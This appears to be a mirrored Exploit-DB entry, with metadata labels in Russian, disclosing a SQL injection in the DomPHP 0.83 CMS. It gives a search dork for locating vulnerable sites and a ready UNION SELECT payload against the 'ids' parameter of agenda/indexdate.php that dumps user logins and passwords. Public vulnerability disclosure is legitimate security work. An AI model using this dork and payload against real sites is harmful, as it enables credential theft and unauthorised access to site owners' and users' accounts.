Exploit DomPHP 0.83 - SQL Injection

[Exploiter]

EDB-ID

30872

Проверка EDB

1. Пройдено

Автор

HOUSSAMIX

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2014-10038

Дата публикации

2014-01-13

-------------------------------------------------------------
DomPHP <= v0.83 SQL Injection Vulnerability 
-------------------------------------------------------------
 
= Author : Houssamix                       
= Script : DomPHP <= v0.83
                    
= Download : http://www.domphp.com/download/  
            
= BUG :  SQL Injection Vulnerability 
 
= DORK : Site créé à l'aide du CMS DomPHP v0.83 
 
= Exploit :                               
http://[target]/agenda/indexdate.php?ids=77 [SQL]
                 
Exemple : 				 

http://site.com/domphp/agenda/indexdate.php?ids=77 UNION SELECT 1,2,3,loginUtilisateur,5,6,passUtilisateur,8,9,10,11,12,13,14,15 from domphp_utilisateurs--